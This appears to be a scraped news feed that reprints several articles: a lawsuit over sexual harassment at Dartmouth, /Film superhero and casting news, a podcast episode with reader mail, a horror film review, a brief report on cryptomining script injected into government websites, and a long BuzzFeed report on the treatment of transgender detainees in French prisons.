By 2002, at least one student had complained Heatherton groped her, and further harassment and discrimination complaints were lodged against him and Whalen in 2005. By then, Heatherton chaired the department, which had just brought in the largest peer-reviewed grant in Dartmouth’s history. The school, needless to say, did nothing. Ironically, much of Heatherton’s psychological research focuses on the neurological mechanisms underlying self-control.

Each woman believed she was the only victim of the most serious harassment, according to plaintiff Annemarie Brown.

I assumed it was just me. The men who were involved in perpetuating these events were incredibly good at what they did.

The professors implied severe repercussions should the women complain, according to Brown, who claims Whalen told her early on that the last student to speak up had “got what was coming to her” and been “iced out” of the field. “We were forced into a code of silence,” she said.

The spell was only broken during a March 2017 academic conference after Heatherton drunkenly groped and came on to plaintiff Sasha Brietzke, in full view of several other students who’d endured similar advances. These women met with the Director of Graduate Studies and Department Chairman, but the administrators actually encouraged the women to continue working with their harassers so as to avoid academic probation or even expulsion and took no action, according to the suit.

Plaintiff Andrea Courtney, a doctoral student harassed by Kelley, explained “this was an open secret. A lot of this behavior was happening to everyone, and nobody in a position of power stood up to do anything about it.” Frustrated with Dartmouth’s inaction, the victims filed Title IX complaints against the school, which finally placed the professors on administrative leave three months later. During the interim, perhaps feeling he had nothing to lose, Kelley allegedly raped one of the plaintiffs.

While the school did conduct a protracted internal investigation beginning in late 2017, the lawsuit alleges this was for appearances only, and administrators ultimately allowed Kelley and Whalen to resign and Heatherton to retire with their reputations intact earlier this year. They are no longer allowed on campus but have not been punished further.

The lawsuit is separate from a New Hampshire Attorney General’s investigation into sexual misconduct by the three professors that began last October.

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]]> https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/feed/ 0 Superhero Bits: ‘Birds of Prey’ Rumors, Bradley Cooper Doesn’t Want to Direct ‘Guardians 3’ & More https://briefnews.eu/superhero-bits-birds-of-prey-rumors-bradley-cooper-doesnt-want-to-direct-guardians-3-more/ https://briefnews.eu/superhero-bits-birds-of-prey-rumors-bradley-cooper-doesnt-want-to-direct-guardians-3-more/#respond Fri, 28 Sep 2018 01:35:06 +0000 http://briefnews.eu/superhero-bits-birds-of-prey-rumors-bradley-cooper-doesnt-want-to-direct-guardians-3-more/ Thor Ragnarok Concept Art - Gladiator Thor

What’s the latest effort by fans to get James Gunn reinstated at Marvel? What is Tim Allen‘s problem with superheroes? Where is Spider-Man: Far From Home shooting now? Where is Batman during the events of Birds of Prey? Is Bradley Cooper interested in Guardians of the Galaxy Vol. 3? What comic book character does director The First Purge director want to tackle? All that and more in this edition of Superhero Bits.

Get ready to go to war in the promo for the upcoming second episode of the second season of The Gifted.

Some fans started a GoFundMe page for a billboard to campaign to have James Gunn reinstated at Marvel.

I wasn’t a fan of the official Homecoming blu-ray cover, so I decided to make my own from marvelstudios

One fan created a Spider-Man: Homecoming Blu-ray cover inspired by the Ferris Bueller’s Day Off poster.

The First Purge director Gerard McMurray said that he would love an opportunity to tackle a Blade project.

Tim Allen has some issues with superhero movies in this lame comedy bit that he tried to pull off on Conan.

Bradley Cooper doesn’t want to direct Guardians of the Galaxy Vol. 3 or anything he didn’t write himself.

Concept artist Aleksi Briclot shared this drastically different design for Thor‘s gladiator armor in Ragnarok.

Famous comic book artist Norm Breyfogle, known for his work on Batman, passed away on Monday at age 58.

Continue Reading Superhero Bits

Due to the amount of graphics and images included in Superhero Bits, we have to split this post over THREE pages. Click the link above to continue to the next page of Superhero Bits.

The post Superhero Bits: ‘Birds of Prey’ Rumors, Bradley Cooper Doesn’t Want to Direct ‘Guardians 3’ & More appeared first on /Film.

]]> https://briefnews.eu/superhero-bits-birds-of-prey-rumors-bradley-cooper-doesnt-want-to-direct-guardians-3-more/feed/ 0 ‘Birds of Prey’ Considering Ewan McGregor and Sharlto Copley for Black Mask https://briefnews.eu/birds-of-prey-considering-ewan-mcgregor-and-sharlto-copley-for-black-mask/ https://briefnews.eu/birds-of-prey-considering-ewan-mcgregor-and-sharlto-copley-for-black-mask/#respond Thu, 27 Sep 2018 21:20:37 +0000 http://briefnews.eu/birds-of-prey-considering-ewan-mcgregor-and-sharlto-copley-for-black-mask/ birds of prey cast black mask

Time for some more (potential) Birds of Prey casting news. Warner Bros. is in the process of casting the female leads of the film, but they also have to lock down someone to play villain Black Mask. Rumor has it that both Ewan McGregor and Sharlto Copley are being considered for the part, but the casting process has just begun. More on the potential Birds of Prey cast additions below.

Black Mask, a Batman villain who has never graced the big screen, is the villain for the Birds of Prey movie, but no one knows who is playing him yet. According to one report, Sam Rockwell is the man the producers and filmmakers want for the role, but Rockwell is unavailable. So who will don Black Mask’s famous black skull visage? Two names in the running: Ewan McGregor and Sharlto Copley.

Of these two, McGregor is probably the stronger choice (he’s a better actor0, but Copley is good at playing unhinged psychos as well (see: Elysium). Black Mask, aka Roman Sionis, first appeared in Batman comics in 1985. He’s traditionally portrayed as violent, brutal and even sadistic. He also has a thing for masks, as you probably guessed.

Cathy Yan is helming the female-driven superhero film, which brings back Margot Robbie as Harley Queen. The other day, Mary Elizabeth Winstead was cast as Huntress, and Jurnee Smollett-Bell joined the film in the role of Black Canary. Other parts waiting to be cast include Detective Renee Montoya, a cop with the Gotham PD, and Cassandra Cain, one of the many Batgirls who is being reimagined as a 12-year-old in the film.

Birds of Prey will hit theaters on February 7, 2020.

The post ‘Birds of Prey’ Considering Ewan McGregor and Sharlto Copley for Black Mask appeared first on /Film.

]]> https://briefnews.eu/birds-of-prey-considering-ewan-mcgregor-and-sharlto-copley-for-black-mask/feed/ 0 Daily Podcast: Halloween, James Wan, Birds of Prey, Star Wars, Aquaman, and Mail Bag Questions https://briefnews.eu/daily-podcast-halloween-james-wan-birds-of-prey-star-wars-aquaman-and-mail-bag-questions/ https://briefnews.eu/daily-podcast-halloween-james-wan-birds-of-prey-star-wars-aquaman-and-mail-bag-questions/#respond Thu, 27 Sep 2018 00:08:00 +0000 http://briefnews.eu/daily-podcast-halloween-james-wan-birds-of-prey-star-wars-aquaman-and-mail-bag-questions/ Darth Vader - Star Wars

On the September 26, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film writers Hoai-Tran Bui and Chris Evangelista to talk what the latest film and tv news, including Halloween, James Wann, Birds of Prey, Star Wars, Aquaman, and in the Mail Bag we’ll answer some of the reader e-mails.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

Opening Banter: Peter made the mistake of asking twitter for health advice.

In The News:

In The Mail Bag:

  • Lored in Worcester MA writes in “Hey guys. Love your podcast. Listen to it daily. I heard you guys talking about the new subtitle for the Girl in the Spider’s Web. I thought someone would have mentioned it by now, but this book is not part of the original trilogy that Stieg Larsson wrote. As you probably know, he passed away after completing the first three books. This is not a direct sequel to the Girl with a Dragon Tatoo. I wonder if Sony is trying to make sure people know it’s set in the same universe and not a stand alone movie. Anyways, that’s just my 2 cents. Keep up the good work.”
  • Scott A from Alameda, CA writes in “Hey Gang –   I implore each of you to check out The Rider. It is a masterful film. While I did not connect with the subject matter as much as other films, the artistry of Chloe Zhao, her cinematographer, and editor are what truly elevate this film. Using a wonderful juxtaposition of wide shots to emphasize the emptiness of the South Dakota landscape with extreme close-ups touching upon the claustrophobia of Brady’s tragic situation, the film highlighted the type of director that Zhao is. The Rider was in my top 5 at the half-year mark and while it may have since slipped down, it is definitely a film worth watching. I think Chris, especially, would love it.   A high recommend and I think Marvel hiring Zhao is an inspired choice.   Keep up the great work!”
  • In response to our Predator episode:
    • Prince from New York City writes in “I will agree that everything went downhill at the Cadillac commercial in the woods but your complaints seemed…looney.  Plot holes in a Predator movie? Really? We enjoyed the movie (except the final scene). It was fast and fun and dumb. You don’t go to Applebees for fine dining. And you don’t go to Predator movies thinking there will be no plot-holes.  Tighten up.”
    • Jacob C from Mississippi writes “Peter,  I just listened to the predator spoiler episode and I cannot believe you were made fun of so much by how confused you were in the movie. I totally and completely agree with you on every point you made. The movie was edited extremely horribly and I couldn’t tell what was going on half the time. I shame Brad for making fun of you with a nerd voice. That was uncalled for ?. It made no sense and it was a trash movie. Also the depiction of Tourette’s syndrome was extremely bad. My dad and I both have Tourette’s and we laughed the whole movie at Thomas Jane’s depiction of it because of how inaccurate and offensive it was. Tourette’s is rarely that severe, and when it is that bad it doesn’t look like that. Literally it’s only purpose was to set up some really bad jokes. Anyway I just felt the need to defend you because I can’t see how anyone could think this movie is good in any way. I’m very disappointed in Shane Black. Thank you for standing firm in your opinions.  Love the show!”
  • Is anyone excited for Venom?
    • Michael Rode says “Tom Hardy usually chooses wisely (that of course looks like it will change).   People think it looks like a more scary version of Deadpool.”
    • Scott A. from Alameda, CA writes in: “Hi Peter and Gang!  Let me start by saying how much I love the podcast. It is a daily treat which I eagerly await each day.  Now as to your bashing of Venom. I am indeed one of these mysterious folks you have been seeking that is excited to see Venom. I wanted to take a moment to tell you why.   Let me start by saying that I acknowledge the movie is probably going to be really bad and the trailers have looked terrible. So why oh why am I excited for the film. Well to quote the amazing Jeff Cannata, I am a “Marvel Zombie from way back.” I fell into comics in the early 90’s and it was Spider-Man and a certain symbiote villian that directly hooked me from moment one. For us 1990 Spider-Man lovers, Venom was the go-to villian. His character design, his intensity, his ability to toy with Spider-Man made him a character who you rooted for almost as much as the main hero.   I had his trading card, his action figure, and I loved his depiction on the 1994 Spider-Man animated series. When it was announced he would be in Spider-Man 3, I was dubious because I felt he was being shoehorned into the film. As it turned out, that was exactly the situation and his appearance was terrible.   Yes I can hear you arguing that this film looks equally bad if not worse. Here is the counter argument, the character design of Venom in this film is perfect and that is enough for me. I will use my A-List to see the movie and will probably complain about it afterwards, but for that first moment of seeing a true representation of Venom on screen will bring me such joy that even if just for a split second, 1991-Scott will reappear and smile.   I know that I’m not alone in my love for Venom and I feel that is what will be dragging the majority of us to the theater. Hope that answers your question and helps you on your search.  Keep up the great work and I look forward to many more episodes.”

All the other stuff you need to know:

  • You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.
  • /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.
  • You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (RSS).
  • Send your feedback, questions, comments and concerns to us at peter@slashfilm.com. Please leave your name and general geographic location in case we mention the e-mail on the air.
  • Please rate and review the podcast on iTunes, tell your friends and spread the word!
  • Thanks to Sam Hume for our logo.

The post Daily Podcast: Halloween, James Wan, Birds of Prey, Star Wars, Aquaman, and Mail Bag Questions appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-halloween-james-wan-birds-of-prey-star-wars-aquaman-and-mail-bag-questions/feed/ 0 ‘The Strangers: Prey at Night’ Review: An Effective Sequel that Conveys the Triviality of Terror https://briefnews.eu/the-strangers-prey-at-night-review-an-effective-sequel-that-conveys-the-triviality-of-terror/ https://briefnews.eu/the-strangers-prey-at-night-review-an-effective-sequel-that-conveys-the-triviality-of-terror/#respond Fri, 09 Mar 2018 16:11:44 +0000 http://briefnews.eu/the-strangers-prey-at-night-review-an-effective-sequel-that-conveys-the-triviality-of-terror/ The Strangers: Prey at Night Review

The merit of most sequels is hard to evaluate without bringing up their predecessors — especially when it’s The Strangers. The 2008 horror film written and directed by Bryan Bertino that had all the makings of a rudimentary home invasion thriller ended up being a statement on the weaponization of idle behavior among seemingly innocuous young adults. It remains brutal, unsettling, and remarkably relevant.

So director Johannes Roberts’ The Strangers: Prey at Night has big shoes to fill. But that’s okay, because it doesn’t ever really seem concerned with besting the original film. Instead, it moves with the confidence of an entirely separate narrative, one that just so happens to not only pay homage to the 2008 film, but also successfully present its message to a 2018 audience.

As expected, though, some of the sophistication of the first film dissipates and is replaced with a quartet of bumbling characters that succumb to some of the most basic rules about horror movie victims. But like its predecessor, Prey at Night continues to interrogate millennial apathy. This time, however, it doesn’t bother to try to present that from an idyllic family home in the suburbs. Rather, its masked villains — still breathing after massacring everyone in The Strangers — rip right through a trailer park with the certainty that no one would care about any victims there.

Opening appropriately with “Kids in America,” the rebel anthem first immortalized by Kim Wilde in 1981, blaring through the villains’ rickety old truck, Prey at Night immediately brings us to the intersection of madness and indifference. Then it introduces us to our new protagonists — Cindy (Christina Hendricks) and Mike (Martin Henderson) and their teenage kids Kinsey (Bailee Madison) and Luke (Lewis Pullman) — already in the midst of familial tension (much like how we met our original victims). Kinsey is angsty about being hauled off to boarding school for her degenerate behavior. Luke is annoyed that he has to tag along for the ride right in the middle of his baseball game. Meanwhile, the practical adults are just trying to do the best they can.

Along the way to Kinsey’s new school, they decide to spend the night at their uncle Marvin’s trailer park named Catlin Lake Getaway (an eerie ode to Camp Crystal Lake from the Friday the 13th movies). They immediately discover that it is abandoned and not even their aunt and uncle are around to welcome them. No problem, Cindy just grabs the keys and they head to their reserved trailer completely unaware that they are about to meet Dollface, Pin-Up Girl, and Man in the Mask (the terrifying masked villains from the first film), who come knocking on their door.

Thus begins a long night of horror for the family, who seem destined to meet the same fate as Kristen and James from The Strangers, and not because they’re like either of them at all. After all, Kristen and James were just minding their own business at home when terror came looking for them for literally no reason whatsoever other than the fact that they were home and available — which makes what happens to them that much more unnerving. On the other hand, our new protagonists, while they’re not necessarily looking for trouble, don’t seem to do much to avoid it as they run off into the woods in the middle of the night, roam around deserted mobile homes investigating each scary sound, peep around every dark hallway, and go back to Uncle Marvin’s trailer just to make sure (spoiler alert!) that was in fact him and his wife’s dead bodies rotting away in their trailer. Like many foolish horror movie characters, I began to root for the villains.

But as Prey at Night progresses, and the foursome begins to succumb to the wandering lunatics (Mike tries to save the day by clumsily retrieving Uncle Marvin’s gun, a wink to James in The Strangers), they soon evolve to the situation. Armed with desperation and any weapon they can find lying around, young Kinsey and Luke gain their wits when they’re forced to face off against the three masked villains on their own. That’s when it comes down to the terrified and wounded versus the casually violent. Delirious with fear, these kids fight for their lives and each other all the while still struggling to understand why any of this is even happening to them. “Why are you doing this to us?” Kinsey asks Dollface, who responds, “We’re not.” (This disappointing response is far less effective than the more menacing “Because you were home” answer Kristen received when she asked the same question in the first film).

Though its characters may fumble and its winks to the first film may not be as slick as I’d like them to be, Prey at Night does maintain the original commitment of presenting horror to the most mundane. It doesn’t just disrupt an innocent setting of a quiet suburb. This time fear roams throughout a less opulent area routinely neglected even by law enforcement, even when it’s fully occupied. It is that relentless seclusion, heightened by a haunting soundtrack of otherwise harmless songs (including Tiffany’s “I Think We’re Alone Now”), that blurs the line between danger and peace agitated by the aimlessness of the villains and the trivial rebellion of the young characters.

/Film Rating: 7 out of 10

The post ‘The Strangers: Prey at Night’ Review: An Effective Sequel that Conveys the Triviality of Terror appeared first on /Film.

]]> https://briefnews.eu/the-strangers-prey-at-night-review-an-effective-sequel-that-conveys-the-triviality-of-terror/feed/ 0 Government websites fall prey to cryptocurrency mining hijack https://briefnews.eu/government-websites-fall-prey-to-cryptocurrency-mining-hijack/ https://briefnews.eu/government-websites-fall-prey-to-cryptocurrency-mining-hijack/#respond Mon, 12 Feb 2018 11:14:25 +0000 http://briefnews.eu/government-websites-fall-prey-to-cryptocurrency-mining-hijack/

It’s not just private companies’ websites falling victim to cryptocurrency mining hijacks. Security consultant Scott Helme and the Register have discovered that intruders compromised over 4,200 sites with Coinhive’s notorious Monero miner, many of them government websites from around the world. This includes the US court info system, the UK’s National Health Service and Australian legislatures, among others. The intruders spread their JavaScript code by modifying an accessibility plugin for the blind, Texthelp’s Browsealoud, to inject the miner wherever Browsealoud was in use.

The mining only took place for several hours on February 11th before Texthelp disabled the plugin to investigate. Government sites like the UK’s Information Commissioner’s Office also took pages down in response. As with most of these injections, your system wasn’t facing a security risk — you would have just noticed your system bogging down while searching for government info. The mining goes away the moment you visit another page or close the browser tab. The biggest hassle was for the site operators, who are now discovering that their sites are vulnerable to intruders slipping in rogue code without verification.

It’s not certain who’s behind the attempt, but these hijacks tend to be the work of criminals hoping to make a fast profit.

The big problem: this might continue to happen for a while. Although antivirus tools can catch Coinhive, a more definitive solution would be to use a fingerprinting technique (subresource integrity) that verifies of outside code and blocks any modifications. And there’s no indication that many websites, whether government or private, are in a rush to implement it.

Via: Register, Telegraph

Source: Scott Helme (Twitter), PublicWWW

]]> https://briefnews.eu/government-websites-fall-prey-to-cryptocurrency-mining-hijack/feed/ 0 Prey To A Legal Gray Area https://briefnews.eu/prey-to-a-legal-gray-area/ https://briefnews.eu/prey-to-a-legal-gray-area/#respond Sat, 13 Jan 2018 10:38:44 +0000 http://briefnews.eu/prey-to-a-legal-gray-area/


Ryan Pattie / BuzzFeed

Because of her desire to dress “like a little girl,” Paola was disowned by her Ecuadorian family when she was only 8 years old. She survived on the streets until the age of 15, before she began doing sex work. Then she met a man who beat her for several years, and she became HIV positive after being raped by six men as she was exiting a nightclub, having only just arrived in France. And yet it is prison, where she spent only three days, that remains “the worst experience” of her life.

She did a brief stint in the French city of Lille’s northern correctional facility, where she was transferred in 2014. “The other detainees were in the courtyard, they were shouting, ‘We don’t want any women here!’ They all wanted to hit me,” she remembers today.

Paola was incarcerated in an all-male establishment, just like the vast majority of transgender women whose legal gender is marked as male, and who haven’t undergone sex reassignment surgery. In France, as in many other countries, it is the gender that is inscribed on one’s identification that determines where one will be detained, at least officially. “Men and women are to be incarcerated in separate establishments,” Article D248 of the French criminal procedure code specifies. But what about trans and nonbinary people? What is a man and what is a woman in the eyes of the French prison administration? It seems to have quite a hard time wrapping its head around the question, even though transgender detainees — the vast majority of whom are women — are the group that “suffers the most” in prison, according to Adeline Hazan, the controller-general of Places for Deprivation of Liberty.

Recent news has demonstrated this, with the “worrying” conditions under which an American transgender woman by the name of Kara B. is being detained, after she was found guilty in a well-publicized trial about a police car that was set on fire during a protest in Paris in 2016. Paola’s story is far from an isolated incident.


Ryan Pattie / BuzzFeed

Hailing from Argentina, Daiana, her hair dyed blonde and large red hoop earrings framing her face, tells the story of how she was incarcerated for a year in the all-male correctional facility of Fleury-Mérogis, to the south of Paris, because her legal gender status was male. She was in a cell of the D3 building, where special quarters had been set up for detainees described as “vulnerable,” several transgender women among them. Around six of them were locked up there when she arrived, in December 2012.

Beatriz also did a stint there, arriving in September 2013, and remaining for two years. “I submitted a request to be put with the women, but I was told ‘No, you haven’t had surgery.’ But I’m a woman!” she says, showing her Argentinian passport, which lists her as female. Based on that, why put her in with the men, if what you’re going on is the criminal procedure code?

“All states are sovereign when it comes to the rules of what their nationality grants,” her lawyer, Joachim Cellier, says. “It isn’t that French law doesn’t recognize her Argentinian legal gender, but it says, You have a gender that doesn’t correspond to your body, so it is up to you to go all the way through with the procedure. For the prison administration, the only thing that matters is a person’s biological sex. … It’s stupid and mean.”

Yet this unwritten rule doesn’t apply to everyone. An Ecuadorian national whose legal gender is male, Ariana underwent gender affirmation surgery in August 1998, on her birthday. Arrested in the French city of Nantes, in Brittany, in November 2011, she was initially sent to an all-male prison in Lorient, about 100 miles from there. “I stayed there for a week, waiting for an answer from Fleury-Mérogis, even though I didn’t want to go there. I was told, ‘It’s a modern prison, adapted to your needs.’ I thought they meant adapted to women.”

But when she got there, she got a nasty shock: “I read the words, ‘Men’s Prison.’ Everyone was checking me out and laughing at me, the guards included. One of them looked at me and said: ‘There must have been a mistake — this is a men’s prison here.’ I would cry in my cell, in solitary confinement. I couldn’t stand it,” she recounts, with tears in her eyes.

“I would cry in my cell, in solitary confinement. I couldn’t stand it.” 

On Jan. 13, 2012, Ariana was finally transferred to the women’s prison in Fleury. But her relief was short-lived: Three months later, the prison administration ordered her to return to building D3, with the men.

“I said I was going to file a complaint. Finally they took me to see a gynecologist, to make sure that I was ‘really’ a woman. … The whole thing was a circus,” says Ariana, who had been denied access to a gynecologist during her stay in the men’s quarters. “Then I was told, ‘Now that we see you are a woman, you are going to be transferred over to the women’s, in Fleury.'”

It was only once her provisional detainment was over that she was finally transferred to the women’s prison in Nantes — which is what she had initially requested, so she could be closer to her place of residence and to her partner at the time.

It’s hard to know, ultimately, what rules win out for trans people, who are sometimes reduced to their genitalia, and other times to their legal gender. So everyone deals with it as well as they can, even if it sometimes means having to circumvent the law.

“Overall, efforts are actually being made, but there is this constant risk of things being cast back into doubt, since every prison does its own thing. A change in directors can completely reverse the situation in an establishment, for better or for worse,” says François Bes, the Study Center coordinator at the International Prison Observatory.

Michel Fix, who was the head doctor of the ambulatory care and consultation unit for the Fleury-Mérogis prison for 13 years, acknowledges having repeatedly advocated for transgender people who had transitioned, but whose legal gender was still male, to be housed with the women.

“I also wanted transgender people who had not undergone surgery but who were very feminine-presenting to be put in the women’s facilities,” he says. “However, the prison administration later refused this kind of restructuring on the basis of a reminder notice issued by Christiane Taubira, then–justice minister, which specified that no detainee whose legal name and gender was male could be incarcerated with women, regardless of their physical appearance.”

Anne Lécu, a doctor at the Fleury-Mérogis women’s prison, remembers one case in particular: “For a person who wanted to be closer to their family, I was sometimes asked, ‘Where do we put him?’ I responded in a clear way that it wasn’t up to me to decide. It’s a process that I don’t want to get dragged into.” Out of a dozen follow-ups since the year 2000, she claims not to have had “any negative experiences in the women’s quarters with a transgender person who had transitioned,” and that everyone there who wanted hormones got them.


Ryan Pattie / BuzzFeed

In the men’s facilities, the finding is far more mixed. Access to treatment is far from a given for people whose health concerns already tend to add up. “Transgender persons are considerably more likely to have hepatitis and HIV; many of them have difficult lives, and are in very precarious situations,” Lécu says.

“When they are incarcerated, they find themselves without access to treatment from one day to the next, an experience they find very difficult, and that lasts up until whenever they see me, up to one month after their arrival. I always provide hormonal treatment, but if they have other concerns, which may or may not be related to being transgender, then things get complicated,” says endocrinologist Alfred Penfornis, who shows up once a month at the men’s prison in Fleury and once every two months at the women’s facility.

Detainees can thus find themselves with no treatment for several months on end, even several years. “They didn’t want to give me my hormones — I only got them two months before I left,” says Beatriz. The same goes for Ariana, who had to wait to be transferred to the women’s center before she could obtain any hormones. Daiana says that she was deprived of hormones due to her hepatitis C. As she was already living with HIV (with an undetectable viral load since 2007), prison only increased her vulnerability: “I developed cancer while in jail. I was anxious and depressed. If they hadn’t freed me, I would be dead, because they were doing nothing for me.” In December 2013, she was finally transferred to the Parisian Pitié-Salpêtrière hospital, where she was diagnosed with Hodgkin’s disease, a type of lymphatic cancer, and had to undergo an operation.

Freed in April 2014 after having been incarcerated for 16 years in several establishments in France, Chloe was one of the first people to demand hormonal treatment and women’s clothing while in jail. Because she was secretly wearing skirts in her cell in the evenings, a prison guard asked her to get changed one day. And so began her long struggle.

Chloe began with a hunger strike, which lasted for three months. She also inflicted a lot of self-harm. “I burned my arms, I cut myself with razor blades, I chopped one of my fingers off,” she says, shortly after having been released from prison, her arms covered in numerous scars. In 2005, Chloe asked to be seen by an endocrinologist so she could begin hormonal treatment. She was promised an appointment, which never came. A few months later, a detainee who was coming back from leave secretly brought her some hormones. She took the birth control pills for a few days, while she waited for the official treatment, which was granted to her in June 2006 by the city of Caen’s regional psychological and medical support service.

But shortly thereafter, her request for sex reassignment surgery was denied. “When I asked for this thing to be surgically removed, they told me that they weren’t allowed to, that I could just cut it off myself,” she says. Chloe took this provocation to heart: In February 2006, she was sent to the emergency room, having maimed her penis with a doornail. Then she was sent back in 2008 and 2009 for “testicular necrosis” and “superinfection.” It was only in 2013 that she would finally be granted the surgery she wanted, after a new, unsustainable chain of violent acts.


Ryan Pattie / BuzzFeed

In December 2012, Chloe’s request was granted; she was authorized “to purchase female clothing items and products from the prison commissary, to be used and worn exclusively within the confines of her cell.”

She acquired her first bra, some makeup, and a sewing machine to allow her to make her own skirts. A guard mocked her when she requested a nightgown. According to a different guard from Caen, who preferred to remain anonymous, “Makeup and female clothing are forbidden in correctional facilities, although it is possible to wear a skirt when going out on leave.”

In fact, the criminal procedure code allows each prison to apply its own rules in this instance as well. It states: “Exceptionally, when the director of a prison grants his authorization, and in accordance with the parameters that he defines, a detainee may acquire objects that are not on the list of objects provided by the prison commissary.” For one former ranking officer at the Fleury men’s correctional facility (who wished to remain anonymous), this means “wearing women’s clothing is permitted,” he says.

“It was complicated, but I got some,” Beatriz confirms. “First they said no to me, then yes.” But even though she was being detained in the same quarters, Daiana wasn’t so lucky: “I couldn’t have any women’s things — no bras, no makeup.”

“With better rules, certain conflicts could be avoided,” says the prison guard from Caen.

When she arrived in Fleury, Ariana was searched by a woman, before a higher-up ordered her to stop. “Persons being detained can only be searched by officers of the same sex and under conditions that, while continuing to guarantee that the check is conducted successfully, uphold the fundamental dignity and respect due to the human person,” states the disposition in Article R57-7-81 of the criminal procedure code. In 2010, the director of the Caen correctional facility, Karine Vernière, believed she was doing a good thing when she ordered that Chloe’s body search be performed by two officers: “A man for the bottom half and a woman for the top half.”

“Given her breasts, I had thought at the time, although undoubtedly a little too quickly and on my own, that this was a good solution,” she said in late 2014. (The board of the prison administration declined a recent interview request.) But the Ministry of Justice had by then canceled Vernière’s service notice: A person who was for administrative purposes listed as a man had to be searched by a man.


Ryan Pattie / BuzzFeed

Between the walls of prisons, our society’s anti-trans bias is exacerbated. In 2010, a handout from an officer who belonged to the CGT prison guards union mentioned, in reference to Chloe, a “detainee about whom no one knows whether they’re male or female, who is always bothering us (to avoid saying something else), and who, incidentally, makes us come across as total dumbasses.” Beatriz recalls the anti-trans attitude of prison guards:

“When some trans people who didn’t speak French arrived, they took advantage of the situation and started calling them ‘trannies.’ Even the girl guards were mocking. They would say: ‘Look, a transvestite!’ It was the first time that had happened to me. In my country, I got respect.”

Beatriz also wasn’t expecting to become the victim of both physical and psychological attacks by other detainees. “In order to bring me to the courthouse, they put me into the back of a van with some boys. They called me a fag. They spit on me,” she recounts. “I said this to the judge and the answer I got was that this was normal: ‘Seeing as you’re a prostitute, you should be used to that kind of thing.'”

“They called me a fag. They spit on me.”

She says she was attacked once she reached the correctional facility by a man who had been placed in the same quarters as her: “At night, we would watch a telenovela, and then we’d talk through the windows. I don’t think he appreciated it. The next day, he hit me in the sports room. He threw a bottle of water against my head. The prison guards didn’t do anything about it.”

In Lille, Paola says she was also traumatized: “An inmate tried to attack me with a knife. I stayed locked up in solitary confinement for two days. It was very difficult.”

Chloe reports that she was raped three times in Caen’s correctional facility: in her cell, in the showers, and at the self-service bar, while she was cleaning it one Sunday morning. “I decided not to make a bunch of noise and file a complaint about it — I just said that I had run into some trouble.”

While it is impossible to obtain precise data on this subject in France, several American studies have emphasized the prevalence of sexual abuse experienced by trans detainees. In a report, the statistics bureau for the US Department of Justice claimed that between 2011 and 2012, 33.2% of transgender people who were incarcerated in federal and state prisons had been sexually assaulted by another detainee, as opposed to 4% for the overall prison population.

In Caen, the majority of detainees are incarcerated for sexual misconduct — another reason for escalated violence, both in the US and in France. After Chloe’s time in that prison, “The director set up regular meetings for prison guards, on a voluntary basis, in order to emphasize the particularities of the establishment,” the guardian of the correctional facility tells BuzzFeed News. “They also talk about the things that are specific to transgender detainees.” To address trans people, though, he still sticks to the rules regarding legal gender, as a great many of his coworkers do: “They are male detainees,” he asserts. “You cannot say ‘she’ of them.”

To prevent this kind of ill-informed policymaking that leads to discrimination and violence, the organization Acceptess-T, which advocates for the rights of transgender people, has offered to create training modules for France’s National Prison Administration School that would educate personnel about the specifics of trans identity. “But although it was sent more than two years ago, our letter never received a reply, other than a confirmation of receipt,” says Giovanna Rincon, the organization’s president, who regularly visits the trans detainees of Fleury-Mérogis to discuss their options with them.

Interviewed by BuzzFeed News, Youssef Badr, the spokesperson for the French Ministry of Justice, states: “At the Caen correctional facility, the prison personnel have a psychologist who comes in and speaks to the question of gender dysphoria every two to three months. In establishments that do not have detainees with gender dysphoria, it isn’t required for a psychologist to come in. Nevertheless, it can be requested that they do so; this is left up to the director’s discretion.”

A spokesperson for the National Prison Administration School said via email that “there are no targeted events around this question.”


Ryan Pattie / BuzzFeed

Supposedly in order to ensure their security, numerous transgender people are put into solitary confinement or into separate quarters. “But technically, those amount to the same thing,” says Améline Morineau, who was in charge of the National Student Group for the Education of Incarcerated People (known in French as Genepi) in Fleury for two years. Beatriz remarks on this: “We couldn’t do anything — we were only allowed two walks a day.”

“In a tiny little space. We were like dogs,” adds Daiana. As the Genepi volunteer describes it: “In the separate quarters, their cell is their own, as opposed to in the rest of the prison, but they can’t go down to the exercise courtyard with the others.” Instead, they have their own exercise facility: a cement room with the ceiling removed, which must be about 9 by 15 feet wide. According to the Genepi volunteer, trans prisoners also aren’t able to take advantage of the activities that are offered to other detainees because “they can’t be mixed in with them.”

And although Ariana’s time in a women’s establishment went by without any hiccups — she had access to care, work, and activities, was able to move around normally, and maintained good relations with other detainees — she suffered greatly when she was with the men. Due to the fact that she had undergone sex reassignment surgery, unlike other trans women in the prison’s special unit, her contact with other humans was limited to the prison guards. “When I went out on walks, they put me far away from my girlfriends,” she said, referring to the other trans women. “Why? ‘Because you’re a woman.’ But you’ve been telling me since the beginning that I am a man, and now you’re telling me that I’m a woman — are you making fun of me or what?” she says, exasperated.

Like others, Ariana began contemplating the worst: “After Christmas, I wanted to kill myself. A woman opened the door to my cell and asked me what I wanted. I told her that I didn’t want to go on living.” In October 2012, she took legal action against the prison administration, claiming damages in relation to her detention conditions.

“We obtained 2,000 euros,” her lawyer, Talia Coquis, says. “It was a courageous decision, but they didn’t take it very far. The sum was largely symbolic. I dare hope this decision will set a legal precedent for others.”

On Nov. 14, 2012, Nathalie, in solitary confinement in Caen, killed herself, after the prison administration refused, among other things, to grant her hormonal treatment. That same day, she had been notified by her lawyer that her request to legally change her first name had been rejected.


Ryan Pattie / BuzzFeed

As of Nov. 1, 2016, there were 13 transgender detainees in France, according to Youssef Badr of the Ministry of Justice. “They were detained across eight different establishments, though the majority were located inside the Fleury-Mérogis prison,” he said via email. He estimates that the number varies from 15 to 30 people, depending on the year. And according to François Bès, between 10 and 15 trans detainees get in touch with the International Prison Observatory every year.

